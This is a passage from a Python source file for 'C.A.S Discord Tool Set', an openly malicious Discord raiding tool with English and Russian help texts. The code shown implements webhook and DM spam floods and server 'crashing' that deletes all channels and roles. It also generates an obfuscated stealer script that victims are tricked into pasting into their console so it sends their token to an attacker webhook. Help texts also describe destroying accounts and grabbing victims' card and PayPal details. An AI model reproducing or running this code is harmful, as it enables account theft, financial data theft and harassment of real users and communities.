MFRCvMdRYS1hLAEpgauelZ3oWJDhPOOGEQOOhg8/9tEvtlxfU85oW+28BgVWMEL+HAAQgUMEEwgosddnbqSbxo8lSniJ5hxTArH+TV0geLE2SCmTXJKXJNds0IXpJSzN/JzGlHWie6PJ+p2BviReZJm8JCy05KZjaa4fq05Kj/n7xxRfblAVaIvS2/WfWI6GiCV9lLbvssrYf6oP+LdPUTvUnVx80sWo51NsB592nXXPKvRVHHVrqk/DMNHFW/1V+5jjI6+YFxefjXqzNXj2ZKRsGDx7sO7g9m7HaIfEphhpTeQzFR+Pk5STznittKtB4yPQ7xWxJMMly5ZvStRovcfDukbj0lpC9tuj51L8HGQ/v4HM979ntUvu1CzLTxDWzP/n+e0BgVfB/nDQdAhCAQDECmQJLokXLNfIg6Ft7UkzLhoq7UXCzJjUsOAF5ZeShE8Mgwe3Ba8p9R5QjaeJqQ1zlKKGuPG6Zu10nTZpUdfRUXPXUxHJINFoTR4U2QQACJSHwxRdfVC1peRXIU+N9ay9JpY4LVVoGeXe0RBRkactxM2tUdV5gupYRZdokoF2LWqbLXGJV0HsxmzNnTrFLiv4+SQJLnk55XDMtae9cvgFFYBV91LkAAhCAAASSTEBH8Sihq5f/S3FpSsaq5c5M87OTMHuJNyg3eXwksLzlvqCxTkHr4/rSEUBglY4tJUMAAhCAQAUQUNyVBI0XB6WlYy0NZgsqP94pP16uQkhyeXx0vd9YpwrAnZomIrBSM9R0FAIQgAAEIAABVwQQWK5IUw8EIAABCEAAAqkhgMBKzVDTUQhAAAIQgAAEXBFAYLkiTT0QgAAEIAABCKSGAAIrNUNNRyEAAQhAAAIQcEUAgeWKNPVAAAIQgAAEIJAaAgis1Aw1HYUABCAAAQhAwBUBBJYr0tQDAQhAAAIQgEBqCCCwUjPUdBQCEIAABCAAAVcEEFiuSFMPBCAAAQhAAAKpIYDASs1Q01EIQAACEIAABFwRQGC5Ik09EIAABCAAAQikhgACKzVDTUchAAEIQAACEHBFAIHlijT1QAACEIAABCCQGgIIrNQMNR2FAAQgAAEIQMAVAQSWK9LUAwEIQAACEIBAagggsFIz1HQUAhCAAAQgAAFXBBBYrkhTDwQgAAEIQAACqSGAwErNUNNRCEAAAhCAAARcEUBguSJNPRCAAAQgAAEIpIYAAis1Q01HIQABCEAAAhBwRQCB5Yo09UAAAhCAAAQgkBoCCKzUDDUdhQAEIAABCEDAFQEElivS1AMBCEAAAhCAQGoIILBSM9R0FAIQgAAEIAABVwQQWK5IUw8EIAABCEAAAqkhgMBKzVDTUQhAAAIQgAAEXBFAYLkiTT0QgAAEIAABCKSGAAIrNUNNRyEAAQhAAAIQcEUAgeWKNPVAAAIQgAAEIJAaAgis1Aw1HYUABCAAAQhAwBUBBJYr0tQDAQhAAAIQgEBqCCCwUjPUdBQCEIAABCAAAVcEEFiuSFMPBCAAAQhAAAKpIYDASs1Q01EIQAACEIAABFwRQGC5Ik09EIAABCAAAQikhgACKzVDTUchAAEIQAACEHBFAIHlijT1QAACEIAABCCQGgIIrNQMNR2FAAQgAAEIQMAVAQSWK9LUAwEIQAACEIBAagggsFIz1HQUAhCAAAQgAAFXBBBYrkhTDwQgAAEIQAACqSGAwErNUNNRCEAAAhCAAARcEUBguSJNPRCAAAQgAAEIpIYAAis1Q01HIQABCEAAAhBwRQCB5Yo09UAAAhCAAAQgkBoCCKzUDDUdhQAEIAABCEDAFQEElivS1AMBCEAAAhCAQGoIILBSM9R0FAIQgAAEIAABVwQQWK5IUw8EIAABCEAAAqkhgMBKzVDTUQhAAAIQgAAEXBFAYLkiTT0QgAAEIAABCKSGAAIrNUNNRyEAAQhAAAIQcEUAgeWKNPVAAAIQgAAEIJAaAgis1Aw1HYUABCAAAQhAwBUBBJYr0tQDAQhAAAIQgEBqCCCwUjPUdBQCEIAABCAAAVcEEFiuSFMPBCAAAQhAAAKpIYDASs1Q01EIQAACEIAABFwRQGC5Ik09EIAABCAAAQikhgACKzVDTUchAAEIQAACEHBFAIHlijT1QAACEIAABCCQGgIIrNQMNR2FAAQgAAEIQMAVAQSWK9LUAwEIQAACEIBAagggsFIz1HQUAhCAAAQgAAFXBBBYrkhTDwQgAAEIQAACqSHwf+3+DcZevN1/AAAAAElFTkSuQmCC") helpsEN = '''For a more detailed description, see the paragraphs themselves. [1] - With this item, you can collect some information that is in the user's account. [2] - This item will do a lot of damage to your account. All friends, personal correspondence, servers (the exception is those where the user is the owner). In their place, custom servers will be created. All annihilation will be accompanied by glitches (lags) in order to avoid changing the password. [3] - This spammer will start a raid of the server with webhooks, the raid can be of high productivity, in terms of the fact that there is no protection from it. [4] - This item will help you check your token (s) for their status (Valid/Valid and Phone locked/Invalid). [5] - This item will add a user account to the server you specified. You can add 1-2 tokens manually or a group of tokens from the tokens.txt text file, the tokens in which must be line by line. [6] - This item will cause lags on the user's account, with a change in theme / language / status. This is not critical, but it causes a lot of inconvenience to the user. [7] - This item was created to add / remove tokens or webhooks, in the corresponding files. [8] - This item will remove your tokens from the specified server. [9] - This item will help you arrange a server raid in one or all chats. [10] - This item will allow you to transfer the rights to the server to another user using the owner's token. [11] - This item will allow you to arrange a raid on another user's account. [12] - This item will allow you to get a token by login-password. At the same time, your IP must be linked to account. [13] - This item will allow you to crash the server using a selfbot. This requires an admin token. [14] - This item will help you to grab information about the victim's billing accounts from the account. [15] - This item will help you animate the server name/status/nickname on the server/nickname of another person on the server/group name/channel name on the server. [16] - This item will allow you to generate a malicious script to steal a token. To use it, you need the victim to paste it into the console (Ctrl + shift + i). [17] - Help menu. [18] - Exit.''' helpsRU = '''Более подробное описание смотрите в самих пунктах. [1] - С помощью этого пункта вы можете получить некоторую информацию с аккаунта юзера. [2] - Этот пункт нанесёт большой ущерб аккаунту. Все друзья, личные переписки, сервера (исключение - те где юзер владелец). На их месте будут созданы кастомные сервера. Вся аннигиляция будет сопровождаться глитчами (лагами), во избежание смены пароля. [3] - Этот спаммер, начнет рейд сервера вебхуками, рейд бывает высокой продуктивности, в плане того что от него нету защиты. [4] - Этот пункт поможет вам проверить ваши токен(ы), на их состояние (Валидный/валидный и локнутый по телефону/инвалидный). [5] - Этот пункт добавит аккаунт юзера на указанный вами сервер. Вы можете добавить 1-2 токена вручную или группу токенов из текстового файла tokens.txt, токены в котором должны быть построчно. [6] - Этот пункт вызовет на аккаунте юзера лаги, со сменой темы/языка/статуса. Это не критично, но вызывает много неудобств юзеру. [7] - Этот пункт был создан для добавления/удаления токенов или вебхуков, в соответсвующих файлах. [8] - Этот пункт удалит ваши токены (аккаунты), с определенного сервера. [9] - Этот пункт поможет вам устроить рейд сервера в одном, или всех чатах. [10] - Этот пункт позволит передать права на сервер другому юзеру с помощью токена владельца. [11] - Этот пункт позволит вам устроить рейд на аккаунт другого пользователя. [12] - Этот пункт позволит получить токен по логину-паролю. При этом ваш IP должен быть привязан к аккаунту. [13] - Этот пункт позволит вам крашнуть сервер, используя мощности селфбота. Для этого нужен токен администратора. [14] - Этот пункт поможет вам получить информацию о платежных счетах жертвы из учетной записи. [15] - Этот пункт поможет вам анимировать имя сервера/статус/ник на сервере/ник другого человека на сервере/имя группы/имя канала на сервере. [16] - Этот пункт позволит вам сгенерировать вредоносный скрипт для кражи токена. Чтоюбы его использовать вам нужно чтобы жертва вставила его в консоль (Ctrl + shift + i). [17] - Меню помощи. [18] - Выход. ''' helpWebhookToolRU = '''[1] - Этот пункт позволит вам устроить рейд на 1 вебхук, используя кастомный или дефолтный текст. [2] - Этот пункт позволит вам устроить рейд на множество вебхуков, которые находятся в файле webhooks.txt. [3] - Этот пункт позволит вам устроить рейд на все чаты, которые находятся на сервере, используя токен аккаунта который имеет право управлять вебхуками. [4] - Этот пункт позволит вам удалить любой вебхук. Полезно в случае если вам нужно поломать чей-то стиллер. [5] - Этот пункт позволит вам получить определённую информацию о вебхуке. ''' helpWebhookToolEN = '''[1] - This item will allow you to raid 1 webhook using custom or default text. [2] - This item will allow you to raid many webhooks, which are located in the webhooks.txt file. [3] - This item will allow you to raid all chats that are on the server using the account token that has the right to manage webhooks. [4] - This item will allow you to remove any webhook. Useful in case you need to break someone's stealer. [5] - This item will allow you to get certain information about the webhook. ''' helpCrashRU = 'Этот пункт позволит вам крашнуть сервер, используя токен аккаунта с админ правами. Примечание: Софт не может забанить всех юзеров и не может заспамить все чаты. Это связано с ограничениями для селфботов. Так вы не можете создать более 30 вебхуков за короткий промежуток времени. Но вы можете заспамить их после краша используя вебхук тул, так как все вебхуки записываются в текстовый файл.' helpCrashEN = 'This item will allow you to crash the server using the account token with admin rights. Note: The software cannot ban all users and cannot spam all chats. This is due to the limitations for selfbots. This way you cannot create more than 30 webhooks in a short period of time. But you can spam them after a crash using the webhook tool, since all webhooks are written to a text file.' helpSpamRU = 'Этот пункт позволит вам устроить рейд на сервере в 1, или все чаты сразу. Чтобы боты не выдавали мут за повторение сообщений, желательно использовать разный текст. ' helpSpamEN = 'This item will allow you to arrange a raid on a server in 1, or all chats at once. To prevent bots from giving out mutations for repeating messages, it is advisable to use different text.' helpScriptGenRU = 'Этот пункт сделан для тех кому нужно быстро сгенерировать пейлоад для кражи токена. Сам скрипт выдаёт жертве в профиль все значки дискорда, и отсылает на вебхук её токен. Чтобы она его смогла запустить, ей нужно открыть консоль: Ctrl + Shift + i , или F12. Откроется панель разработчика, где нужно перейти во вкладку Console. Примечание: скрипт нужно позиционировать как скрипт для получения локальных значков, на 1 сессию дискорда. Тогда у жертвы не должно возникнуть вопросов. Если вы передаёте его через дискорд, то дожны учитывать что дискорд использует форматирование текста. И дабы избежать нарушения структуры скрипта, помещайте его в тройные кавычки ( ``` ). Так вы поместите код в условный блок кода, в котором синтаксис кода не нарушается.' helpScriptGenEN = 'This item is made for those who need to quickly generate a payload to steal a token. The script itself gives the victim in profile all the discord icons, and sends her token to the webhook. In order for her to run it, she needs to open the console: Ctrl + Shift + i, or F12. The developer panel will open, where you need to go to the Console tab. Note: the script must be positioned as a script to get local icons for 1 discord session. Then the victim shouldnt have any questions. If you are transmitting it via discord, then you should take into account that discord uses text formatting. And to avoid breaking the structure of the script, put it in triple quotes ( ``` ). This will place your code in a conditional block of code that does not violate the syntax of your code.' helpAnimatorRU = 'Данный пункт позволит вам анимировать название сервера / группы / чата / аккаунта на сервере / аккаунта другого юзера на сервере. Чтобы настроить текст которым будет анимироваться всё выше перечисленое, вам нужно редактировать файл config.json, где все данные поданы в формате json. Понять как там нужно распределять данные, не составит труда.' helpAnimatorEN = 'This item will allow you to animate the name of the server / group / chat / account on the server / account of another user on the server. To customize the text that will animate all of the above, you need to edit the config.json file, where all data is submitted in json format. It is not difficult to understand how the data should be distributed there.' helpCheckerRU = 'Этот пункт позволит вам проверить состояние ваших токенов. Также данный пункт фильтрует токены, оставляя только те что могут рейдить.' helpCheckerEN = 'This item will allow you to check the status of your tokens. Also, this item filters tokens, leaving only those that can be raided.' helpdmSpammRU = 'Этот пункт позволит вам заспамить ЛС, используя токены которые лежат в текстовом файле tokens.txt. Примичание: ваши рейд аккаунты должны быть на одном сервере с самой жертвой. Помимо этого у неё должен быть открыт ЛС. ' helpdmSpammEN = 'This item will allow you to spam DM using the tokens that are in the tokens.txt text file. Advice: your raid accounts must be on the same server as the victim. In addition, she must have a DM open.' helpTrackRU = 'Этот пункт позволит вам получить токен используя логин и пароль. Примечание: вы можете получить токен, только если ваш айпи привязан к этому аккаунту. В противном случае владелец аккаунта может получить сообщение о попытке входа в аккаунт с нового айпи.' helpTrackEN = 'This item will allow you to get a token using your username and password. Note: you can get a token only if your IP is linked to this account. Otherwise, the account owner may receive a message about an attempt to log into the account from a new IP.' helpAddRU = 'Этот пункт позволит вам добавить ваши токены или вебхуки в соответствующие файлы, посмотреть или удалить уже имеющиеся. Обычный механизм обработки ваших ресурсов.' helpAddEN = 'This item will allow you to add your tokens or webhooks to the corresponding files, view or delete existing ones. The usual mechanism for handling your resources.' helpLeaveRU = 'Этот пункт позволит вам кикнуть все ваши рейд аккаунты с указаного сервера.' helpLeaveEN = 'This item will allow you to kick all your raid accounts from the specified server.' helpJoinerRU = 'Этот пункт позволит вам добавить все ваши рейд аккаунты на указаный сервер.' helpJoinerEN = 'This item will allow you to add all your raid accounts to the specified server.' helpCardGrabRU = 'Этот пункт позволит вам получить платежную информацию, которая осталась после покупки нитро / бустов. Это вид реквизитов юзера (CC, PayPal), предполагаемое место жительства, имя-фамилия.' helpCardGrabEN = 'This item will allow you to receive payment information that remained after the purchase of nitro / boosts. This is the type of user details (CC, PayPal), the intended place of residence, name and surname.' helpAnnihilatorRU = 'Этот пункт поможет уничтожить аккаунт жертвы используя её токен. Все друзья жертвы и сервера буду удалены. Все DM будут закрыты. Также будет проведена рассылка вашего текста, во все открытые DM. На место серверов жертвы, будет создано около 100 кастомных, с одинаковыми аватарками и названиями. Все действия будут сопровождаться глитчами.' helpAnnihilatorEN = 'This item will help destroy the victims account using her token. All friends of the victim and the server will be deleted. All DMs will be closed. Your text will also be sent to all open DMs. In place of the victims servers, about 100 custom ones will be created, with the same avatars and names. All actions will be accompanied by glitches.' helpGlitchRU = 'Этот пункт позволит вам включить на аккаунте жертвы глитчи, используя её токен. Глитчи сопровождаются постоянной сменой языка, темы и статуса.' helpGlitchEN = 'This item will allow you to enable glitch on the victims account using its token. Glitches are accompanied by a constant change of language, theme and status.' helpOvnTransRU = 'Этот пункт позволит вам передать права на сервер другому аккаунту, используя токен владельца. Примечание: на аккаунте должно отсутствовать 2f, иначе у вас ничего не выйдет.' helpOvnTransEN = 'This item will allow you to transfer the rights to the server to another account using the owners token. Note: there must be no 2f on the account, otherwise you will not succeed.' helpGrabInfoRU = 'Этот пункт позволит вам получить информацию с аккаунта, используя его токен. Вы получите номер, почту, состояние 2f, ID и никнейм' helpGrabInfoEN = 'This item will allow you to get information from your account using its token. You will receive a number, mail, status 2f, ID and nickname' statuses = [200, 204, 429, 201] intro = (f''' [===========================================] [ C.A.S ]~> [{updateStatus}] [ Discord Tool Set. [ version {currentVersion} [ Created by Cyber-Crypto.Anarchy.Squad [ Telegram C.A.S - https://t.me/anarchy_squad [ Telegram Hydra crash bots - https://t.me/EvLVHydraNews [ Github - https://github.com/TheWay-hue/C.A.S-Discord-Tool-v4 [1] Grab Info. [2] Annihilation. [3] Webhook tool. [4] Check Token (Valid/Valid and Phone locked/Invalid). [5] Joiner. [6] Glitcher. [7] Add token/webhook to file. [8] Leaver. [9] Spam. [10] Select server. [11] DM spam. [12] Token by login-pass. [13] Crash. [14] Card grabber. [15] Animator. [16] Stealer script gen. [17] Help. [18] Exit. [===========================================]''') #Webhook spam----------------------------------------------+ def Webhook_tool(defaultMessage, icons, nameHooks, jsonHook, statuses): sessionName = 'Webhook tool' errorLog = open('errorlogs.txt', 'a+') print(exitMenu) print(webhookMenu) try: select = str(input('\nSelect: ')) if select == '1': webhook = str(input('\nWebhook: ')) print(modeMenu) mode = str(input('\nSelect: ')) if mode == '1': hookName = str(input('\nWebhook name: ')) hookAvatar = str(input('\nWebhook avatar: ')) hookMessage = str(input('\nMessage : ')) else: hookName = nameHooks hookAvatar = icons hookMessage = defaultMessage print('\nSpam started.') while True: info = {'content':hookMessage,'username':hookName,'avatar_url':hookAvatar} req = requests.post(webhook, data=info) if req.status_code not in statuses: print('\nError send.') errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '2': print(modeMenu) mode = str(input('\nSelect: ')) if mode == '1': hookName = str(input('\nWebhook name: ')) hookAvatar = str(input('\nWebhook avatar: ')) hookMessage = str(input('\nMessage : ')) else: hookName = nameHooks hookAvatar = icons hookMessage = defaultMessage print('\nSpam started!') with open('webhooks.txt','r') as handle: webhooks = handle.readlines() result = any(webhooks) if result == True: while True: for x in webhooks: webhook = x.rstrip() info = {'content':hookMessage,'username':hookName,'avatar_url':hookAvatar} req = requests.post(webhook, data=info) if req.status_code not in statuses: print('\nError send.') errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") else: print('\nError') elif select == '3': channels = [] x = 1 d = 1 file = open('webhooks.txt', 'w') token = input('\nToken: ') serverID = input('\nServer id: ') print(modeMenu) mode = str(input('\nSelect: ')) if mode == '1': hookName = str(input('\nWebhook name: ')) hookAvatar = str(input('\nWebhook avatar: ')) hookMessage = str(input('\nMessage : ')) else: hookName = nameHooks hookAvatar = icons hookMessage = defaultMessage headers = {'Authorization': token} request = requests.get(f'https://discord.com/api/v8/guilds/{serverID}/channels', headers=headers) if request.status_code == 200: for channel in request.json(): if channel["type"] == 0: channels.append(channel['id']) result = any(channels) if result == True: header = {'Content-Type': 'application/json', 'Authorization': token} request = requests.post(f'https://discord.com/api/v8/channels/{channels[0]}/webhooks', headers=header, json=jsonHook) print(request.json()) if request.status_code == 200: while x <= 2: for channelID in channels: if d <= 30: header = {'Content-Type': 'application/json', 'Authorization': token} request = requests.post(f'https://discord.com/api/v8/channels/{channelID}/webhooks', headers=header, json=jsonHook) if request.status_code in statuses: data = request.json() webhookID = data['id'] webhookToken = data['token'] file.write(f'https://discordapp.com/api/webhooks/{webhookID}/{webhookToken}\n') else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {request.status_code}] [Message: {request.json()}\n") d += 1 else: break x += 1 print('\nSpam started.') file.close() with open('webhooks.txt','r') as handle: webhooks = handle.readlines() while True: for x in webhooks: webhook = x.rstrip() info = {'content':hookMessage,'username':hookName,'avatar_url':hookAvatar} req = requests.post(webhook, data=info) if req.status_code not in statuses: print('\nError send.') errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") else: print('\nThe account does not have enough rights.') errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {request.status_code}] [Message: {request.json()}\n") else: print('\nError') else: print('\nError') errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {request.status_code}] [Message: {request.json()}\n") elif select == '4': channels = [] x = 1 file = open('webhooks.txt', 'w') token = input('\nToken: ') serverID = input('\nServer id: ') headers = {'Authorization': token} request = requests.get(f'https://discord.com/api/v8/guilds/{serverID}/channels', headers=headers) if request.status_code == 200: for channel in request.json(): if channel["type"] == 0: channels.append(channel['id']) print(channels) result = any(channels) if result == True: for channel in channels: request = requests.get(f'https://discord.com/api/v8/channels/{channel}/webhooks', headers=headers).json() if any(request) == True: for req in request: file.write(f'https://discord.com/api/webhooks/{req["id"]}/{req["token"]}\n') else: print('\nError') else: print('\nError') errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {request.status_code}] [Message: {request.json()}\n") print('\nGrabbed all webhooks.') elif select == '5': webhook = str(input('\nWebhook: ')) req = requests.delete(webhook) if req.status_code == 200: print('\nWebhook deleted.') else: print('\nError') errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '6': webhook = str(input('\nWebhook: ')) req = requests.get(webhook) if req.status_code == 200: data = req.json() print(f''' Webhook name: {data['name']} Server ID: {data['guild_id']} Channel ID: {data['channel_id']}''') else: print('\nError.') errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '6': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpWebhookToolEN) elif select == '2': print(helpWebhookToolRU) else: print('\nInvalid option.') else: print('\nInvalid option.') except KeyboardInterrupt: print('\nExit...') errorLog.close() nextCode = input('\nPress key to continue.') #Crash----------------------------------------------+ def crash(jsonHook, defaultMessage, nameHooks, icons, icon, statuses): sessionName = 'Crash' errorLog = open('errorlogs.txt', 'a+') print(exitMenu) print(crashMenu) try: select = str(input('\nSelect: ')) if select == '1': chatIds = [] roleIds = [] info5 = {'content':defaultMessage,'username':nameHooks,'avatar_url':icons} deface = {'name': 'C.A.S', 'verification_level': None, 'icon': icon} x = 1 token = input('\nToken: ') serverID = input('\nServer ID: ') headers = {'Authorization': token} headers2 = {'Content-Type': 'application/json', 'Authorization': token} payload = {'name': 'C.A.S'} request = requests.get(f'https://discord.com/api/v8/guilds/{serverID}/channels', headers=headers) if request.status_code in statuses: info = request.json() for iD in info: chatIds.append(iD['id']) else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {request.status_code}] [Message: {request.json()}\n") request = requests.get(f'https://discord.com/api/v8/guilds/{serverID}/roles', headers=headers) if request.status_code in statuses: info2 = request.json() for iD in info2: roleIds.append(iD['id']) else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {request.status_code}] [Message: {request.json()}\n") req = requests.patch(f'https://discord.com/api/v9/guilds/{serverID}/widget', headers=headers, json={'enabled': true, 'channel_id': null}) req = requests.patch(f'https://discord.com/api/v8/guilds/{serverID}', headers=headers, json=deface) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") data1 = any(chatIds) data2 = any(roleIds) if data1 == True: for channelID in chatIds: req = requests.delete(f'https://canary.discord.com/api/v8/channels/{channelID}', headers=headers) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") if data2 == True: for roleID in roleIds: req = requests.delete(f'https://discord.com/api/v8/guilds/{serverID}/roles/{roleID}', headers=headers) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") file = open('webhooks.txt', 'w') while x <= 200: request = requests.post(f'https://discord.com/api/v8/guilds/{serverID}/channels', headers=headers, json=payload) if request.status_code in statuses: req = requests.post(f'https://discord.com/api/v8/guilds/{serverID}/roles', headers=headers, json=payload) if req.status_code in statuses: if x <= 30: info3 = request.json() request = requests.post(f"https://discord.com/api/v8/channels/{info3['id']}/webhooks", headers=headers, json=jsonHook) if request.status_code != 429: info4 = request.json() webhook = (f"https://discordapp.com/api/webhooks/{info4['id']}/{info4['token']}") req = requests.post(webhook, data=info5) if req.status_code in statuses: file.write(f'{webhook}\n') else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") else: print('\nYou were given a rate limit.') errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {request.status_code}] [Message: {request.json()}\n") else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {request.status_code}] [Message: {request.json()}\n") x += 1 print('\nServer crashed.') elif select == '2': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpCrashEN) elif select == '2': print(helpCrashRU) else: print('\nInvalid option.') else: print('\nInvalid option.') except KeyboardInterrupt: print('\nExit...') errorLog.close() nextCode = input('\nPress key to continue.') #Spam----------------------------------------------+ def spam(defaultMessage, defaultMessage2): sessionName = 'Server spam' errorLog = open('errorlogs.txt', 'a+') print(exitMenu) print(spamMenu) try: select = str(input('\nSelect: ')) if select == '1': channelID = input('\nChannel ID: ') print(modeMenu) mode = str(input('\nSelect: ')) if mode == '1': messages1 = input('\nMessage [1]: ') messages2 = input('\nMessage [2]: ') else: messages1 = defaultMessage messages2 = defaultMessage2 print('\nSpam started.') with open('tokens.txt','r') as handle: tokens = handle.readlines() while True: data = any(tokens) if data == True: for x in tokens: token = x.rstrip() headers = {'Authorization': token} json1 = {'content': messages1} json2 = {'content': messages2} req = requests.post(f'https://discord.com/api/v9/channels/{channelID}/messages', json=json1, headers=headers) if req.status_code in statuses: req = requests.post(f'https://discord.com/api/v9/channels/{channelID}/messages', json=json2, headers=headers) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") else: print('\nNo tokens.') elif select == '2': serverID = input('\nServer ID: ') print(modeMenu) mode = str(input('\nSelect: ')) if mode == '1': messages1 = input('\nMessage [1]: ') messages2 = input('\nMessage [2]: ') else: messages1 = defaultMessage messages2 = defaultMessage2 print('\nSpam started.') channels = [] tokenSH = [] with open('tokens.txt','r') as handle: tokens = handle.readlines() for x in tokens: token = x.rstrip() tokenSH.append(token) data1 = any(tokenSH) if data1 == True: headers = {'Authorization': tokenSH[0]} request = requests.get(f'https://discord.com/api/v9/guilds/{serverID}/channels', headers=headers) if request.status_code == 200: for channel in request.json(): if channel["type"] == 0: channels.append(channel['id']) else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {request.status_code}] [Message: {request.json()}\n") data2 = any(channels) if data2 == True: while True: for channelID in channels: for token in tokenSH: headers = {'Authorization': token} json1 = {'content': messages1} json2 = {'content': messages2} req = requests.post(f'https://discord.com/api/v9/channels/{channelID}/messages', json=json1, headers=headers) if req.status_code in statuses: req = requests.post(f'https://discord.com/api/v9/channels/{channelID}/messages', json=json2, headers=headers) if req.status_code not in statuses: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '3': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpSpamEN) elif select == '2': print(helpSpamRU) else: print('\nInvalid option.') else: print('\nIvalid option.') except KeyboardInterrupt: print('\nExit...') errorLog.close() nextCode = input('\nPress key to continue.') #Script Gen----------------------------------------------+ def scriptGen(): sessionName = 'Script gen' errorLog = open('errorlogs.txt', 'a+') print(exitMenu) print(scriptMenu) try: select = str(input('\nSelect: ')) if select == '1': print('\nThis script, when inserted into the discord console, steals the victims token and gives her all the badges for the profile for the current session of use. For the victim to be able to launch it, she needs to open the console by pressing the key combination Ctrl + Shift + i, or F12. On the Console tab, she should paste it in and press Enter. in order not to violate the integrity of the script, pass it to the victim in a code block (triple brackets ```).') scriptFile = open('script.txt', 'r') script = scriptFile.read() scriptFile.close() webhook = input('\nWebhook: ') data = {'source': f'"{webhook}"', 'do_linebreak': 'on', 'do_indent': 'on', 'prefix': '_', 'do_strings': 'on', 'do_strings_hex': 'on', 'ignore_fn': '', 'ignore_global': ''} req = requests.post('http://www.freejsobfuscator.com/obfuscate', data=data) if req.status_code in statuses: out = req.json()['output'] out2 = out[:-10] webhook2 = out2[10:] script2 = script.replace('webhook', webhook2) print(f'\nCopy this script, and give your victim. ==>') print(f'\n{script2}') else: errorLog.write(f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [{sessionName}] [Status_code: {req.status_code}] [Message: {req.json()}\n") elif select == '2': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpScriptGenEN) elif select == '2': print(helpScriptGenRU) else: print('\nInvalid option.') else: print('\nIvalid option.') except KeyboardInterrupt: print('\nExit...') errorLog.close() nextCode = input('\nPress key to continue.') #Token Validation----------------------------------------------+ def validToken(): sessionName = 'Token checker' errorLog = open('errorlogs.txt', 'a+') print(exitMenu) print(validationMenu) try: select = str(input('\nSelect: ')) if select == '1': token = input('\nToken: ') headers = {'Authorization': token} request = requests.get('https://canary.discord.com/api/v8/users/@me/library', headers=headers) if request.status_code == 403: print(token + ' Valid and Phone locked.') elif request.status_code == 401: print(token + ' Invalid.') else: print(token + ' Valid.') elif select == '2': validTokens = [] with open('tokens.txt','r') as handle: tokens = handle.readlines() for x in tokens: token = x.rstrip() headers = {'Authorization': token} request = requests.get('https://canary.discord.com/api/v8/users/@me/library', headers=headers) if request.status_code == 403: print(token + ' Valid and Phone locked.') elif request.status_code == 401: print(token + ' Invalid.') else: print(token + ' Valid.') validTokens.append(token) tokens = open('tokens.txt', 'w') for token in validTokens: tokens.write(f'{token}\n') print('\nAll tokens filtered.') elif select == '3': print(menu) select = str(input('\nSelect: ')) if select == '1': print(helpCheckerEN) elif select == '2': print(helpCheckerRU) else: print('\nInvalid option.') else: print('\nInvalid option.') except KeyboardInterrupt: print('\nExit...') errorLog.close() nextCode = input('\nPress key to continue.') #DM spammer----------------------------------------------+ def dmSpam(defaultMessage3): sessionName = 'DM spam' errorLog = open('errorlogs.txt', 'a+') print(exitMenu) print(dmSpamMenu) try: select = str(input('\nSelect: ')) if select == '1': data = {} userId = input('\nUser ID: ') payload = {'recipient_id': userId} with open('tokens.txt','r') as handle: tokens = handle.readlines() data2 = any(tokens) if data2 == True: for x in tokens: token = x.rstrip() headers = {'Authorization': token} req = requests.post('https://canary.discord.com/api/v8/users/@me/channels', headers=headers, json=payload) if req.status_code in 